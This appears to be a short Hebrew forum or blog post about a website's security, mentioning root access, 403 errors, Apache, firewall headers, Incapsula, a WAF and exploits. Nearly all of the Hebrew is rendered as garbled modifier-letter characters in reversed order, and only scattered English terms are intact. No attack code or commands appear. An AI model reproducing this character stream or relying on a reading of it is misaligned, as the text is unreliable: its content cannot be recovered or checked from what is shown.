!˸˞ˤ ˸ˣ˷˰˪ ˡ˟˪˟ ˸ˣ˵ˡ ˢˬ˩ ˧˪ ˷˧ ,˭ˣ˲ˣ˵ ˡ˧˶ˣˢ˪ ˧ˮˣ˴˶˟ ˫˞˷ ˞˧ˢ ˸ˣ˰ˬ˷ˬˢ 

 ˢˢˤˬ˪ ˡˣˬ˴˟ ˣˢ˷˪˩ ˧˪ˬˣˡˮ˶ ˶˲˯ˬ ˧ˡ˧ ˪˰ ˣˢ˷˪˩ ˭ˣ˲ˣ˵˪ ˢ˷˧ˠ ˪˰ ˸ˣ˷˵ˢ˪ ?˭ˣ˲ˣ˶ˠ ˸ˣ˷˰˪ ˣ˯˧ˮ ˢˬ ˤ˞

.˸˩˶˰ˬ˟ ˣ˪˷ 

˞˪˞ ,˧˪ˬˣˡˮ˶ ˞˪ ˞ˣˢ ˢˤˢ ˧˪ˬˣˡˮ˶ˢ ˶˲˯ˬˢ˷ ˞˧ˢ ˢ˧˰˟ˢ s-counter ˫˪ˣ˰˟ ˳ˣ˲ˮ ˧˩ˢ-˟ ˧˥˩ˣˮˢ ˭ˬˤ-

unix.˷˥ˮ˪ ˳ˬ˞˸ˢ˪ ˨˧˶˴ ˞˪ ˣ˪˧˲˞˷... 

 ,ˢ˪ˣ˰˲ ˨˶ˡ ˪˰ ˧˸˦˪˥ˢ˷ ˧ˮ˲˪ˢ ˢ˞˶ˮ ˨˧˞ ˢ˞˶ˮ ˣ˞ˣ˟-root :˸˶˷ˢ ˪˷ 

 

 .˨˩ ˫˸˯ ˧˧ˮ˲˪ ˢ˪ˠ˸ˬ ˫˧ˮˣ˲ˣ˵ˢ ˪˩ ˸ˬ˧˷˶ ˢ˸˧˧ˢ ˫˞ ˰˸˲ˣˬ ˧˸˧˧ˢ ˞˪ 
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 ˸˰ˡˣˢ ˠ˧˴ˢ˪ ˫ˣ˵ˬ˟ .ˢ˧˰˟ ˭˞˩ ˷˧ ˭˧˧ˡ˰ ˪˟˞403 )Forbidden ˢ˰ˡˣˢˢ ˸˞ ˷˧ ,ˢˬˣˡ ˣˢ˷ˬ ˣ˞ (

 ˪˷ ˸˧˦˪ˣ˲˧ˡˢApache ˸˞˪ˬ ,ˣ˪˷ ˢ˯˶ˠˢˣ ˸˶˷ˢ ˧˦˶˲ ˸˞ ˫ˠ ˸˲˷ˣ˥˷ s-vulnerabilities: 

 

 ˣˢ˷ˤ˧˞ ˷˧ ˭ˣ˲ˣ˶ˠ˪ ˫˞ˢ ˸˰ˡ˪ ˧˸ˣ˞ ˭˧˧ˮ˰firewall  ˧ˬ˰˦˪ ˢ˧˸ˣ˶˧˷ ˸˞ ˢˮ˵˷ ˸˧ˮˣ˴˧˥ ˢ˶˟˥ ˣ˞ ˰ˣˡ˧

˟ ˟ˣ˸˩˷ ˢˬ ˢˤˣ ˢ˶ˣ˟˰˸˟ ˧˸˴˴ˢ .ˢ˥˦˟˞-headers: 

 

 ˞˪ ˫˞ ˧ˬIncapsula ˸ˬ˶˟ ˫ˠˣ ˸˶˷ˢ ˸ˬ˶˟ ˫˧˵˯˰˪ ˢ˥˦˟˞ ˸ˣˮˣ˶˸˲ ˸˵˲˯ˬ˷ ˸˧˪˞˶˷˧ ˢ˶˟˥ !

.ˢ˧˴˵˧˪˲˞ˢ 

ˣ˧ ˞˪ ˧ˮ˞ ˵˶ ˫˷ ˣˬ˷ ˫˞ ,˭ˣ˲ˣ˶ˠ ˪˷ ˢ˥˦˟˞˟ ˫ˢ˪˷ ˸ˣ˟˶ˣ˰ˬˢ ˸ˬ˶ ˢˬ ˰ˡWAF  ˶˸ˣ˧ ˸˴˵ ˸ˣ˟˶ˣ˰ˬ ˣ˞

 ˫˰ ˫˧ˡ˟ˣ˰˷ ˫˧˶˸˞ˣ ˸ˣ˧˴˵˧˪˲˞ ˫˰ ˧˪ ˷˧˷ ˸ˣ˶˩˧ˢˬ ˪˟˞ ,"˸˧˷˧˞"Incapsula ˢ˟˶ˢ ˸ˣ˷˵ˢ˪ ˣ˦ˮ ˫ˢ ,

.˰˴ˣˬˬˢ ˱˵ˣ˸ˢ ˪˰ ˶˸ˣ˧ 

 ˫ˠ ˫˞ ˤ˞Incapsula ˢˬ˧˷ˬˢ ˸˞ ˸˥˵˪ ˧˸˦˪˥ˢ ,˵˯˰˟ , ˭ˬˤˢ ˸˞ ˰˧˵˷ˢ˪ˣ.ˢ˴˶˲ˢ ˪ˣ˴˧ˮ˟  ˢˬ ˪˟˞

 ˫˰ ˭˩ˡˣ˰ ˞˪˷ ˸˶˷ ˱ˣ˵˸˪˟ ˱˧˩ˢexploits .ˢ˧˧ˮ˷ˢ ˨˶ˡˢ ˸˞ ˢ˯ˮˮ ˣ˞ˣ˟ ˤ˞ .˫˧ˮ˩ˣˬ 

 

  
































































































































































































































































